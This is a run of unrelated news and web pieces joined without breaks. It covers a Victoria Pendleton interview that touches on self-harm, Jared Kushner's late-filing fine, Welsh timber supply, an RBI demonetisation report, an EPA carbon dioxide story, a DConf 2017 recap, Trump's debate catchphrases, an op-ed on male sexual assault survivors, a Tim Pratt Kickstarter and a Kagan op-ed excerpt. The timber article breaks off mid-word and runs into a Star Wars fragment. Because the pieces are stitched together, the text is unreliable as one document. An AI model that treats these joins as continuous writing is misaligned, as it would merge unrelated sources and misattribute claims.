But there was no giving up. She felt responsible for her father's mood. Did the pressure bother her? "Oh gosh, yeah." If she was invited out on a Saturday night by friends, it meant she wouldn't be properly rested for cycling, and she would "be filled with guilt," she says. "Should I go, shouldn't I go? I really want to, but no. I'll go with Dad, and I'll go to the race, because that's more important, keeping him happy, than it is keeping [a friend] happy, and yourself happy... You know, I didn't have to do it. If I'd had the strength of character to say, 'Actually, no, I'm not going this weekend,' I would have done. But I didn't."
When she was 16, the national track team noticed Pendleton's talent, and she was invited to Manchester to ride at the velodrome. But she wasn't set on pursuing a track career yet. One of her most interesting qualities is her ambivalence about cycling. Where most champions seem powered by a blinkered obsession, she is much more clear-eyed. For instance, she fully recognises that sport is essentially entertainment, and finds this comforting. "When you're in that bubble, training in that environment, with all those personalities who want you to win so desperately... You think it's life or death. It feels like if you don't win you're going to be hung, drawn and quartered."
But she remembers watching track cycling on television last year, "and I was like, this is the most ridiculous sport on earth. Riding around a wooden bowl, with a bike with no brakes... And it was just like …" She takes a big sigh. "Aaaaaah, it doesn't mean I don't take the training incredibly seriously. But at the end of the day, it's just a bike race."
She arrived at Northumbria University to study sport science, and started going to the gym every day. By her final year she was spending a week each month training with the British cycling team in Manchester. It was a male-dominated environment, and it is clear she felt an unworthy outsider at first, training alongside the men's elite squad, including Chris Hoy and Bradley Wiggins. "I was like, 'Oh my God, I'm rubbish. I don't even know what I'm doing'... It really didn't feel like I fitted in. Not that they made me feel that way – the guys were always very friendly, but I did feel like a complete novice."
In 2002, she came fifth in the sprint at the World Cup in China. Not long afterwards she went to train at a sprint academy in Aigle, in the Swiss Alps, under French cyclist, Frédéric Magné. "Within the first two weeks," she says. "I thought I was going to die. My eyes were totally sunk in the back of my head. I had bags under my eyes. I was so tired. I was like: how do people do this for a living?"
As the months went on, she began to doubt herself. She felt she needed to work on her core strength, and began to exercise outside her prescribed training programme. This angered Magné. "I had always feared letting down figures of authority," Pendleton writes, "my dad most of all, and so I felt diminished by disappointing Fred."
She had started cutting her arms with a Swiss Army Knife, and as their relationship deteriorated she continued. "I'd been training really hard," she says, "and my progression had been very slow... I just dwelled on the negativity of being stuck in that little room in Switzerland, by myself, feeling like a failure... Thank the Lord, Steve Peters came along, because if I hadn't met him, I think I probably would have left Switzerland, and given up."
Peters, a psychiatrist, had been sent out to see her by British Cycling; the two connected instantly. So much so, he apparently introduced her once to his students as his "greatest success". He gave her "some options," she says. "'You are in control of this Vicky. You do have the power, and the ability, to retrain the way you think right now, and get out of this situation'."
Pendleton headed home in 2004, before a disappointing first Olympics in Athens, where she came ninth in the sprint. But it wasn't long before she hit a winning streak, claiming the world championship in the event the next year. She has won nine world titles altogether, six in the sprint. Then, in 2006, she met Scott Gardner, an Australian performance analyst who had joined the British team, and after a frosty start, they fell in love.
Both knew this wasn't allowed; a relationship between a member of the coaching staff and an athlete was considered unprofessional. "We knew Scott would lose his job," she says, "so that was an accepted part of us deciding to go on a date for the first time."
Once they had decided they were serious, they told Shane Sutton, head coach at British Cycling; he and Dave Brailsford, the performance director, agreed the relationship should be kept quiet in the buildup to Beijing. There, at the Games, Pendleton rode to triumph, confirming her position as a towering champion, the best female sprinter in the world.
It should have been a moment of celebration, but all she felt was "deadened incomprehension", she writes. And these feelings didn't improve over the next few days. Sutton and Brailsford decided the news of her relationship with Scott had to come out.
With boyfriend Scott Gardner after winning silver in the sprint this summer. Photograph: Andy Stenning
This was the part of Pendleton's book I had reached when we first met, but I knew some of what happened afterward: the fallout from the revelation of their relationship, Scott having to leave his job. I just couldn't work out what was behind the continuing rift with the team's staff. After she won her medals at the London Olympics this summer, for instance – medals that marked the end of her cycling career – she and some of the senior staff didn't even exchange proper goodbyes.
One was Jan van Eijden, her full-time sprint coach, the man responsible for holding her on the bike at the start of each race. They had a great working relationship before she became involved with Gardner, so it was difficult to understand why he would be so angry. Towards the end of her book though, the chronology breaks, as she reflects back on the night after she won her gold medal in Beijing. At this point, parts of the picture become clearer.
Van Eijden had just found out about her relationship with Gardner, and the three were having a furious row. "I was so shocked at the severity of his reaction," she tells me, when we speak again over the phone. "I thought he might be a bit annoyed, but the fact that he was literally raging, livid, was shocking. He was disgusted in what we'd done, thought we were unprofessional, disrespectful and we'd betrayed him. All these words which, personally, for me, they're not words that people use. Because I'm not that kind of person. I'm very by the book, you know? I don't like breaking rules. For someone to describe my character, and Scott's character, in such derogatory terms, was very hurtful."
She was so upset that she found a pair of nail scissors and cut herself in front of the two men. I wonder if, after this, some staff were scared of her. A colleague who reacts to a row by cutting themselves is someone you might be both worried for, and wary of. When I suggest this, she says she doesn't "think anybody knew about it apart from Jan". Perhaps that's true, but it's the sort of story that has the potential to spread quickly around a workplace, particularly one where psychology is so central. "I don't think anyone will know until they read it," she says, "if they read it."
Has she had any reactions to the book yet from the team? "No, I don't imagine they'd speak to me any more, anyway, to be honest. I'm not imagining I'll have much contact with them. As it is, they've sold my bike already." She is close friends with some of the team, but there are certain key members, "who I am sure will be very happy not to have to deal with me ever again, and I think they'd probably be quite open about expressing that too. And I don't blame them, because if I've hurt them with my actions, I can't change it. It's something I'm going to have to live with, and I'm sorry it caused people such distress. But I'm in love with Scott, and I wouldn't change that. I'm very happy with him."
The hardest part was "if it had been any other kind of job, I might have been able to change organisations, and carry on doing the job somewhere else. But I had no other options. I can't change nationality, and I wanted to represent Great Britain." There were times when her relationship with Van Eijden was so bad that she almost felt: "I don't want to win because he takes the credit for it, and really I don't feel he's part of my performance, any more, in some respects. But I would never do that, because I would never compromise my end result. But these thoughts would run around my mind sometimes, when I was feeling particularly low."
She is "pretty worried" about the book coming out, she says. "Because I have been fairly open and honest about a lot of issues – but I haven't told any lies … I was worried about British Cycling being annoyed that I've kind of, well, not talked them down, but haven't necessarily portrayed them in a glowing light... For so many years I've had to talk about how amazing the programme is, and how well supported I am, and at times I haven't really felt 100% supported by that, but it's my job, it's what I have to say. And I'm still performing, so people are like – well, why are you still producing gold medals then, if it's so bad? It makes for a very difficult situation, and I don't want to be coming across as the whingy whiner, but I'm the only one to complain, so no one else has a problem."
"I don't think that I'm a particularly complicated person to work with," she says. "But I'm not a robot. And if they've learned anything, I hope they've learned that they need to approach working with the girls in the team a little bit more sensitively than they have in the past. Because if everything I've been through has done that then it's been a success. And it would be nice that it's been worth it in the long run, because I do feel that somewhere that a lot of sports, and my sport in particular, fall short is the level of support for the men and the women is so different. They seem to know what men need, but they don't really seem to understand how to get the best out of the women."It can't help that so few of the senior staff are women. "There's nobody with any power, female," she replies bluntly. "And they need that, in my opinion."
Pendleton is such a mixture of parts; a rock and indie kid, with a Smashing Pumpkins lyric tattooed on her wrist, who also revels in fashion. She says it's going to be liberating, to do whatever she wants, "and not feel responsible! The only person I'm going to let down is me, if I don't do very well at my next job. I'm just going to have a whole year of trying new stuff." She plans to marry Gardner in 2013, and after that she'll start thinking about a serious career choice. "I've always had this one thing overriding my lifestyle since I was nine. I have never missed a racing season since 1989. Having a year to make up for all that commitment is not unreasonable."
She loved her Olympics experience this year, despite the disappointment of disqualification in the team sprint, and relegation in the first race of the individual sprint final too. When she won gold in the keirin, she says she felt: "Oh, I'm so happy right now. This is amazing. I sung the national anthem, because I would anyway, but it was the only thing that stopped me from blubbering completely on the podium".
It would have been so easy to leave the self-harm material out of the book. It's not as if she's short of drama. But she says she wanted to send a message to other people that you could have problems like these, get past them, and succeed. "I'm not the perfect model of what an athlete should be, mentally or physically," she says, "but I've worked very hard to be as close to that as I possibly can, and it's taken time, effort and practice. It's not something that comes naturally, I wasn't born with it... If you're willing to work, you can be better. You can be the best, there's nothing stopping you." The question is, would you want to?Jared Kushner has been fined by the Office of Government Ethics (OGE) for his late reporting of a financial transaction in his efforts to transfer management of his large number of businesses so he could serve in the White House.
A newly released document indicates that Kushner, a top White House adviser and husband to first daughter Ivanka Trump, along with 17 other White House staffers did not file their personal financial disclosure statements on time, McClatchy confirmed.
The group of staffers also included top aides to President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE.
Key members of the White House team also late to file disclosure statements included former chief of staff Reince Priebus and press secretary Sarah Huckabee Sanders.
Kushner's fine is somewhat rare among federal employees, as only 3.6 percent of more than 12,000 similar transaction reports filed in 2016 were assessed late fees, according to an OGE survey, McClatchy found.
Walter Shaub, the former director of OGE who resigned earlier this summer, told The Hill he's never heard of OGE assessing a late fee for a non-OGE employee. He said fines are usually levied by the executive branch agency an official files his disclosure with, rather than by OGE.
Kushner will pay the fine, a White House official knowledgeable about the situation but not authorized to speak publicly told McClatchy.
In accordance with federal law, people required to file the disclosure documents must pay a fine of $200 directly to the U.S. Treasury if the statements are more than 30 days late.
However, the fees can be waived if the late filing was because of "extraordinary circumstances," as determined by the White House's ethics officer.
The late report for which Kushner appears to have been cited involves real estate investment company JCK Cadre LLC, according to McClatchy.
The White House declined to comment on individual staffers, pointing out that a report filed as many as 75 days after an asset was sold might not be considered late, according to ethics rules, and that it would be possible to get extensions beyond that, as well.
- This story was updated at 3:09 p.m.Get the biggest business stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A warning that Wales could run out of wood has come from one of the country’s biggest timber companies.
Clifford Jones Timber is the UK’s largest manufacturer of timber fence posts, manufacturing over two and a half million a year at its Denbighshire headquarters and at a second timber mill in Gretna.
But Penny Lloyd, purchasing director of the Ruthin-based company which employs over 80 staff, warned this week that a failure to meet planting targets was turning Wales into a tree-free zone and threatening an industry worth over £450m a year.
She said: “The forest industry is an essential part of the Welsh economy, and together with its ancillary businesses, sustains many rural communities.
“An on-going programme of commercial timber planting is vital for the survival of our industry.
“Back in the 1970s we were planting over 7,000 acres of trees every year – in recent years it’s been less than 250 and this is a crop that takes 20 years plus to grow to maturity.
“We have lost over 40,000 acres of forestry in the last 15 years – that’s an area one and a half times the size of Liverpool - and that needs to be replaced if our timber industry is to survive.”
'Perfect natural habitat'
Only 14% of Wales, or 750,000 acres, is forested, making it one of the least wooded countries in Europe, but the timber industry employs over 11,000 people.
Ms Lloyd added: “There seems to be an opposition to planting conifers but it makes sense in terms of the needs of both commercial forestry, and conservational and amenity woodlands.”
Ms Lloyd pointed to Newborough Forest on Anglesey, where Clifford Jones Timber has worked extensively, endeavouring to meet the highest environmental and conservational constraints.
“The site is a perfect example of commercial forestry and amenity woodlands working hand in hand,” she said.
“Forestry not only offers the perfect natural habitat for rare native species, such as the red squirrel, but provides massive environmental benefits such as carbon sequestration and the prevention of flooding and soil erosion.”
Everything is used
Clifford Jones Timber buys more than 100,000 tons of timber annually, and say their practices ensure that nothing is wasted and that nothing leaves their premises without an invoice.
They use the wood, bark and all, to make not just fence posts but lamin |
bel demises? Let us know in the comments below!
Justin Bolger is Lucasfilm’s Star Wars social media strategist and he doesn’t like the Empire…he loves it. Catch him occasionally on The Star Wars Show and talk Star Wars with him on Twitter @TheApexFan.According to RBI, GDP growth is expected to “recover significantly” in 2017-2018 and demonetisation is expected to have a positive impact over the medium to long-term. (PTI Photo)
RBI has moved to silence the critics of demonetisation – once and for all! In its latest report, titled “Macroeconomic Impact of Demonetisation- A Preliminary Assessment”, the central bank has said that the negative impact of demonetisation has been transient. “Demonetisation impacted various sectors of the economy; however, the adverse impact, in general, was short-lived as it was felt mainly in November and December 2016. The impact moderated significantly in January and dissipated by and large by mid-February 2017, reflecting an accelerated pace of remonetisation,” says RBI in the report.
According to RBI, GDP growth is expected to “recover significantly” in 2017-2018 and demonetisation is expected to have a positive impact over the medium to long-term. “Overall, demonetisation has had some negative macroeconomic impact, which, however, has been transient as remonetisation has moved at an accelerated pace in last twelve weeks. More importantly, demonetisation is expected to have a positive impact over the medium to long-term. In particular, there is expected to be greater formalisation of the economy with increased use of digital payments,” notes the central bank. “The reduced use of cash will also lead to greater intermediation by the formal financial sector of the economy, which should, inter alia, help improve monetary transmission,” it adds.
“The impact (of demonetisation) on GVA growth, albeit modest, was felt in Q3 of 2016-17. The organised sector remained largely resilient. The latest CSO estimates suggest that the impact of demonetisation on GVA growth in Q3 of 2016-17 was felt mostly in real estate and construction, but because of stronger growth in agriculture, manufacturing, electricity, and mining, the overall impact on GVA growth was modest. With remonetisation progressing at a fast pace, the adverse impact is expected to have reversed from the latter part of Q4 of 2016-17. GVA growth is estimated to recover significantly in 2017-18,” believes RBI.
Talking about the impact of demonetisation on various sectors and segments, RBI says, “Reflecting the expected slowdown in sales and earnings, share prices of cash intensive sectors such as automobiles, FMCG, consumer durables and real estate declined sharply in November-December 2016. Most of these sectors have more than recovered the lost ground subsequently. In fact, the consumer durable sector outperformed the overall increase in the stock market post-demonetisation. The impact on the forex market was transitory.” “There has been a significant improvement in the use of digital modes of payments post demonetisation, although their base is still small,” it says.
Also read: Demonetisation: Narendra Modi’s radical move turned out to be the ‘demon’ that consumed the Opposition
RBI’s latest report comes on a day when the BJP has swept the Uttar Pradesh and Uttarakhan polls. A victory in UP and Uttarakhand means that the BJP would in the coming months have more seats in the Rajya Sabha – a fact that would greatly aid in the passage of crucial reform bills. With RBI terming the negative impact of demonetisation transient and the Narendra Modi government set to have more room to introduce radical reforms, Indian economy is likely to see better days ahead.EPA likely to declare CO2 a dangerous pollutant
EPA Administrator-designate Lisa Jackson testifies on Capitol Hill in Washington, Wednesday, Jan. 14,2009, before the Senate Environment and Public Works Committee hearing on her nomination. (AP Photo/Lauren Victoria Burke) less EPA Administrator-designate Lisa Jackson testifies on Capitol Hill in Washington, Wednesday, Jan. 14,2009, before the Senate Environment and Public Works Committee hearing on her nomination. (AP Photo/Lauren... more Photo: Lauren Victoria Burke, AP Photo: Lauren Victoria Burke, AP Image 1 of / 1 Caption Close EPA likely to declare CO2 a dangerous pollutant 1 / 1 Back to Gallery
Carbon dioxide is likely to be declared a dangerous pollutant - a move that could help propel slow-moving climate-change legislation on Capitol Hill, the head of the Environmental Protection Agency said Monday.
EPA Administrator Lisa Jackson told reporters that a formal "endangerment finding," which would trigger federal regulations on greenhouse gas emissions, probably would "happen in the next months."
Jackson announced her timeline even as top senators said they were delaying plans to introduce legislation that would set new limits on carbon dioxide emissions. Senators had been scheduled to unveil legislation next Tuesday, but the date has now been pushed back to later in September.
The House narrowly passed a broad energy and climate-change bill in June, but supporters have moved more slowly in the Senate, where the issue has been trumped recently by work on the health care overhaul.
The EPA kick-started the regulatory process in April when it proposed declaring carbon dioxide and five other greenhouse gases as pollutants that jeopardize the public health and welfare. EPA scientists believe the greenhouse gases contribute to global warming by trapping heat in the Earth's atmosphere.
The EPA can formalize the finding anytime, now that it has closed a 60-day public comment period that netted more than 300,000 responses.
A formal endangerment finding would obligate the agency to regulate greenhouse gas pollution under the Clean Air Act - even if Congress doesn't pass a final climate-change bill.
President Obama and Jackson have said they would prefer that Congress - rather than the EPA - take the lead in implementing new greenhouse gas limits. Businesses and energy industry leaders also have largely favored congressional action over EPA-imposed limits, because they believe lawmakers are better positioned to combine economic safeguards with any new carbon cap.
"Legislation is so important, because it will combine the most efficient, most economy-wide, least costly (and) least disruptive way to deal with carbon dioxide pollution," Jackson said. "We get further faster without top-down regulation."
But Jackson insisted the EPA would continue on a path that began when the Supreme Court ruled in 2007 that greenhouse gases qualified as pollutants and could be regulated if the government determined they threatened the public.
"Two years is a long time for this country to wait for us to respond to the Supreme Court's ruling," Jackson said.
Supporters of climate change legislation are hoping the threat of EPA-mandated limits will spur congressional action.
Sens. Barbara Boxer, D-Calif., and John Kerry, D-Mass., had been planning to introduce their own climate change bill next week. But in a joint statement Monday, the pair said they were delaying the bill introduction until "later in September" because of the death of Sen. Edward Kennedy, D-Mass., Kerry's hip surgery in August, and Kerry's membership on the Finance Committee, which is negotiating health care.
Sen. James Inhofe of Oklahoma, the top Republican on Boxer's Environment and Public Works Committee, said the delay "is emblematic of the division and disarray in the Democratic Party over cap-and-trade and health care legislation."Another May, another DConf in the rear view. This year’s edition, organized and hosted once again by the talented folks from Sociomantic, and emceed for the second consecutive year by their own Dylan Cromwell, brought more talks, more fun, and an extra day. The livestream this year, barring a glitch or two with the audio, went almost perfectly. And for the first time in DConf history, videos of the talks started appearing online almost as soon as the conference was over. The entire playlist is available now.
As usual, there were three days of talks. The first opened with a keynote by Walter and the last with one by Andrei (he gave a longer version of the same talk at Google’s Tel Aviv campus a few days later). The keynote from Scott Meyers on Day Two, in his second DConf appearance, was actually the second talk of the day thanks to some technical issues. He told everyone about the things he finds most important in software development, a talk recommended for any developer no matter their language of preference.
The keynotes were followed by presentations from a mix of DConf veterans and first-time speakers. This year, livestream viewers were treated to some special segments during the lunch breaks. On Day One, Luís Marques showed off a live demo using D as a hardware description language, which had been the subject of his presentation just before the lunch break (he used a Papillo Pro from Gadget Factory in his demo, and the company was kind enough to provide an FPGA for one lucky attendee to take home). On Day Two, Vladimir Panteleev, after being shuffled from the second spot to the first in the lineup, gave a livestream demo of concepts he had discussed in his talk on Practical Metaprogramming. And on the last day of presentations, Bastiaan Veelo presented the livestream audience with an addendum to his talk, Extending Pegged to Parse Another Programming Language.
Day Two closed out with a panel discussion featuring Scott, Walter and Andrei.
It was during this discussion that Walter made the claim that memory safety will be the bane of C, eliciting skepticism from Scott Meyers. That exchange prompted more discussion on /r/programming almost two weeks later.
The newest segment of the event this year came in the form of an extra day given over entirely to the DConf Hackathon. As originally envisioned, it was never intended to be a hackathon in the traditional sense. The sole purpose was for members of the D community to get together face-to-face and hash out the pain points, issues, and new ideas they feel strongly about. DConf 2016 had featured a “Birds of a Feather” session, with the goal of hashing out a specific category of issues, as part of the regular talk lineup. It didn’t work out as intended. The hackathon, suggested by Sebastian Wilzbach, was conceived as an expansion of and improvement upon that concept.
The initial plan was to present attendees with a list of issues that need resolving in the D ecosystem, allow them to suggest some more, and break off into teams to solve them. Sebastian put a lot of effort into a shared document everyone could add their ideas and their names to. As it turned out, participants flowed naturally through the venue, working, talking, and just getting things done. Some worked in groups, others worked alone. Some, rather than actively coding, hashed out thorny issues through debate, others provided informal tutoring or advice. In the end, it was a highly productive day. Perhaps the most tangible result was, as Walter put it, “a tsunami of pull requests.” It’s already a safe bet that the Hackathon will become a DConf tradition.
In the evenings between it all, there was much food, drink, and discussion to be had. It was in this “downtime” where more ideas were thrown around. Some brought their laptops to hack away in the hotel lobby, working on pet projects or implementing and testing ideas as they were discussed. It was here where old relationships were strengthened and new ones formed. This aspect of DConf can never be overstated.
A small selection of more highlights that came out of the four days of DConf 2017:
Walter gave the green light to change the D logo and a strategy was devised for moving forward.
Jonathan Davis finally managed to get std.datetime split from a monolithic module into a package of smaller modules.
Some contentious issues regarding workflow in the core repositories were settled.
Vladimir Panteleev gave DustMite the ability to reduce diffs.
Timon Gehr implemented static foreach (yay!).
(yay!). Ali Çehreli finished updating his book Programming in D to 2.074.0.
Nemanja Boric fixed the broken exception handling on FreeBSD-CURRENT.
Steven Schveighoffer and Atila Neves earned their wizard hats for submitting their first pull requests to DMD.
Adrian Matoga and Sönke Ludwig (and probably others) worked on fixing issues with DUB.
Progress was made on the D compiler-as-a-library front.
This is far from an exhaustive list. The venue was a hive of activity during that last day, and who knows what else was accomplished in the halls, restaurants, and hotel lobbies. This short list only scratches the surface.
A very big Thank You to everyone at Sociomantic who treated us to another spectacular DConf. We’re already looking forward to DConf 2018!
Share this: TweetThe man. (Russell Cheyne/Reuters)
Every candidate has go-to talking points.
Jeb Bush's include "rolling up his sleeves" and "working for the American people." Hillary Rodham Clinton's include talking about "raising up" the middle class.
But Donald Trump — well, Donald Trump has more than a few. His Trumpisms are so colorful and so splendorous that they threaten to dominate the entire GOP presidential primary debate. (And they have their own name.)
We decided to list a few of them ahead of Thursday's debate, creating a helpful key for debate viewers — and the candidates — of Trump's fallback arguments. What we haven't done, you'll notice, is try to come up with witty and politically opportunistic responses the candidates should use to counter Trump's Trumpisms.
If we were that good, we would be well-paid debate strategists and not lowly journalists.
[The Donald Trump debate contest you have been waiting for is here]
1. Negotiators
To Donald Trump, there are two kinds of people in the world: good negotiators and bad negotiators. Basically everyone except Donald Trump and his "guys" fall into the latter category.
Examples include: "We have to negotiate great trade deals. I would get the best guys."
Politicians are "really non-negotiators, people who don't negotiate jobs and lots of other things."
"Our president doesn't have a clue; he's a bad negotiator."
"I can send two executives into a room. They can say the same things; one guy comes home with the bacon, and the other guy doesn't."
2. The best border wall
This is the answer to America's illegal immigration problems, our unemployment rate and our annual deficit. You've heard this before: He'll build a wall between the U.S.-Mexico border to keep undocumented immigrants out — and make Mexico pay for it (somehow). Jobs, cash and a safer border. Done, done and done.
Examples include: "I would build a wall like nobody can build a wall."
"I will build the wall, and Mexico's going to pay for it, and they will be happy to pay for it. Because Mexico is making so much money from the United States that that's going to be peanuts."
3. China, China, China
The country is frequently used by Trump to showcase his business acumen, political expertise and to illustrate how President Obama has none of that. As such, he vacillates between saying China is bad for us and crediting China for having the wherewithal to pull the wool over our collective eyes. Expect this line of attack to be used on Trump's fellow Republican candidates Thursday.
Examples include: "I beat China all the time."
"I like China. I sell apartments for — I just sold an apartment for $15 million to somebody from China."
If Trump were elected, "Oh would China be in trouble. The poor Chinese."
"Listen, you mother(bleep), we're going to tax you 25 percent."
4. It's not just China
Referring to another country as "beating" or "killing" America is one of Trump's surefire ways to illustrate that America is falling apart without his leadership. There's even a formula: "When did we beat [insert country here] at anything?" or "[Insert country here] is killing us."
Examples include: "I have great respect for Mexico — their leaders are too smart — they’re killing us at the border and they’re killing us with trade. You know, Mexico in a certain way, is the new China."
"When did we beat Japan at anything?"
5. Superlatives
Classic Trump. How can you argue with "-est"?
Examples include: "I'll be the best jobs president God's created."
"Obama is, without question, the worst ever president. I predict he will now do something really bad and totally stupid to show manhood."
"Sorry losers and haters, but my I.Q. is one of the highest — and you all know it! Please don't feel so stupid or insecure, it's not your fault."
"Sadly, the American dream is dead. But if I get elected president, I will bring it back bigger and better and stronger than ever before, and we will make America great again."
Hillary Clinton is the "worst secretary of state in the history of our country."
We're sure we'll hear some new ones Thursday night.
6. 'Believe me'
This is the ultimate, infallible Trumpism, in part because it's the most inarguable. Believe who? 'Believe me, Donald Trump on, well, everything.' And polls show that at least this early in the campaign, more and more voters seem willing to do just that.
Examples include: "I will build a great wall — and nobody builds walls better than me, believe me."
"I build great buildings all over the world. I would have Mexico pay for it. Believe me, they will pay for it."
"People say, 'Mr. Trump, you’re not a nice person.' But actually I am."
"I'm really rich. I'll show you that in a second."
"I can never apologize for the truth."On Wednesday, the GLA Conservative Group issued a thorough study that highlighted the gulf between adult male sexual assaults and the amount that get reported to the police.
Titled “Silent Suffering – Supporting the Male Survivors of Sexual Assault”, the paper highlighted the fact that between 2010 and 2014 there were 26,483 recorded incidents of males being victims of sexual assault or rape. This is contrasted with research conducted by SurvivorsUK, the largest and longest established specialist male sexual violence support charity in the UK, which evaluated five years of self-referral data (more than 600 individual entries) to establish that less than 4pc of the sample had reported their experience of adult sexual assault to the police.
In short, it is believed that the actual number of offences in that four year period exceeds 670,000.
That figure may seem overwhelming, but to those of us who work with these survivors, it comes as little surprise.
The report goes on to discuss some very sensible interim measures to increase engagement with criminal justice services, but the larger question – what actually stops these men from coming forward, not just to the police but for any help at all – demands closer consideration.
Men often bottle up their experience of sexual abuse Credit: Alamy
Rape and sexual abuse are devastating experiences. Anyone who has experienced them, regardless of their sex, sexual identity or gender will face many of the same challenges and barriers. For example, recent research points to all (male and female) sexual assault/abuse victims experiencing a modified form of Post Traumatic Stress Disorder similar to that experienced by some combat veterans. Shame, guilt and trauma are also inevitably thrown into the mix and shame.
However, male survivors experience some unique challenges that act as additional barriers to engagement and help-seeking.
"Until recently, all governmental public sexual violence strategy and policy announcements were framed in terms of violence against women and girls" Michael May
One of the biggest challenges faced by male survivors is society’s projection that men should be able to withstand and endure terrible circumstances. From infancy, males are told that they should strive to be masculine, ie resilient, self-sufficient, dominant in sexual interactions and able to defend both themselves and those relying on them for protection. An experience of rape or sexual abuse contravenes all of these expectations. In essence, it leaves the survivor feeling ‘less than a man'.
A significant additional barrier is the idea of “gayness” that is inextricably bound up in society’s perceptions of these crimes. Baroness Stern in her 2012 Rape Report talked about men fearing that their involvement in a male on male sexual assault would automatically lead people to assume that they were in fact not heterosexual. In a society that continues to regard “gayness” as feminine or synonymous with weakness, we cannot underestimate the impact of that assumption - whether the survivor identifies as heterosexual or not.
Almost unanimously, clients coming to SurvivorsUK counseling and emotional support services talk about the impact of what happened to them in terms of their own sexuality. They questions what the assailant must have seen in them that allowed them to be “chosen”. Did the perpetrator think that they were gay and, if so, was that because of something they said or did or has some unknown part of their sexual self lead to the assault?
"One of the biggest challenges faced by male survivors is society’s projection that men should be able to withstand and endure terrible circumstances" Michael May
These questions are inevitably complicated if the survivor had a physical reaction to the assault. Perpetrators of male rape are increasingly striving to ensure that the survivor achieves an erection or ejaculation, in order to confuse the situation and potentially erase blame (it's worth stating that arousal in the victim does neither of these in the court of law). For men who struggle under the weight of masculine expectation, such an experience can lead to unbearable, unmanageable thoughts.
Men who suffer at the hands of a female perpetrator encounter their own set of complicated issues. Our current legislation does not allow for a female to commit rape, as the crime is dependent on penetration with a biologically attached penis - but the issue is clearly more complex.
Take the boy who is introduced to sex by a more experienced, older woman. Culturally, we celebrate that boy - he's fortunate to go through such a rite of passage - but that if the sexual act was unwanted, the boy is left feeling that what happened was in fact something that he should have enjoyed and has no right to complain about. He's left adrift by society, unable to seek help and advice.
Rape is a gendered crime – it can legally only be perpetrated by males and the majority of victims are female. But male victims feel further ostracised when discussions of these crimes pay them no heed at all. Until recently, all governmental public sexual violence strategy and policy announcements were framed in terms of violence against women and girls, even when the information clearly included men and boys.
Michael May is the Director of SurvivorsUK
The recent CPS report on rape prosecutions under the Violence Against Women and Girls strategy included more than 16,000 prosecutions where males were the victim but the report identified them as female, deeming them an insignificant minority. This was the same in the recent Rotherham and Oxfordshire child protection investigations, where there were more than 15pc male victims in each case but the media reported assaults against girls exclusively. Not recognizing and talking about these survivors confirms their belief that what happened to them is unimportant and that it would be pointless to seek support.
The rape and sexual abuse of men and boys continue to be difficult and under-discussed phenomena. Until we are able to embrace this difficult conversation on a public level and to shatter some of the myths that surround these crimes, that is unlikely to change. It’s the work of a lifetime but for the 670,000 male survivors cited in this report and the estimated 3 million plus male victims of child sexual abuse in the UK, it’s work that we all have to start right now.New stretch goal achieved!
I passed $7,000, which means that in addition to the collection, I'll also create a Complete Stories e-book collection, for backers only. It will include every single original story I've published to date (except maybe a couple of work-for-hire pieces, but if I own the rights, it'll be in there). Anyone who donates enough to get the collection e-book (a mere $10), will get the Complete Stories too, with over 100 stories, plus story notes.
------------------------------
I'm raising money to fund publication of my third collection of short stories, Antiquities and Tangibles, which will include at least one new, never-before-published original story, plus story notes and an introduction. The final products will include a DRM-free e-book in assorted formats and a trade paperback edition (probably produced in partnership with a small press publisher, to make a prettier-than-usual package).
Supporting me isn't quite a total gamble on a mysterious and unknown writer. My previous two collections, Little Gods (2003) and Hart & Boot & Other Stories (2003), were traditionally published, and well received -- the latter was a finalist for the World Fantasy Award for best collection. I suspect I could sell this one, too, but I had so much fun doing a Kickstarter for a novel last year, I thought I'd try again with a collection. I've got some fun rewards lined up, in addition to the simple preorder-the-book factor.
My stories have appeared in The Best American Short Stories, The Year's Best Fantasy and Horror, The Mammoth Book of Best New Horror, and assorted other anthologies. I've won a Hugo Award for my short fiction, and have been a finalist for Theodore Sturgeon Memorial, Bram Stoker, and Nebula Awards. Sample some of my free stories if you want a taste.
In addition to a new story (or more; see stretch goals below), Antiquities and Tangibles will include the best stories I've published in the past several years, including my Sturgeon Award-nominated "Her Voice in a Bottle"; Stoker Award finalist "The Dude Who Collected Lovecraft" (with Nick Mamatas); and stories that have appeared in various year's best volumes, including "Artifice and Intelligence" and "From Around Here." Plus several other stories that didn't get as much attention when they first came out, but which I think are among my best work.
Stretch Goals
Maybe this is wildly optimistic hubris, but!
If I hit $3,000, I will write a second original story for the book.
If I hit $4,000, I will write a third new story for the book.
If I hit $5,000, I will commission illustrations for some of the stories from artists I like and wish to give money.
If I reach $7,000, I will do a Complete Stories e-book collection, for backers only. It will include every single original story I've published to date (except maybe a couple of work-for-hire pieces, but if I own the rights, it'll be in there). Anyone who donates enough to get the collection e-book (a mere $10), will get the Complete Stories too, with over 100 stories.
Nice Things
I'm not comfortable saying nice things about my own work. Here are nice things some writers and editors and unbylined reviewers have said about me. They are trustworthy souls.
"In the field of fantastic literature, there's an exciting group of new young writers poised to take us into fascinating new directions. Tim Pratt is among the best of them. His stories have moved me, enchanted me, frightened me... and always leave me wanting more." –Terri Windling
"Sharp writing, cool characters, fascinating ideas, and the courage to have fun." –Jeffrey Ford
"Tim Pratt is in the vanguard of the next generation of master American fantasists."
–Jay Lake
"A genuine talent.... Pratt is a writer to watch."
–Publishers WeeklyRobert Kagan of the Brookings Institution writes that Donald Trump’s supporters represent a “dangerous” phenomenon drawn to “an aura crude strength and machismo.”
From the Washington Post:
The Republican Party’s attempt to treat Donald Trump as a normal political candidate would be laughable were it not so perilous to the republic. If only he would mouth the party’s “conservative” principles, all would be well.
But of course the entire Trump phenomenon has nothing to do with policy or ideology. It has nothing to do with the Republican Party, either, except in its historic role as incubator of this singular threat to our democracy. Trump has transcended the party that produced him. His growing army of supporters no longer cares about the party. Because it did not immediately and fully embrace Trump, because a dwindling number of its political and intellectual leaders still resist him, the party is regarded with suspicion and even hostility by his followers. Their allegiance is to him and him alone.
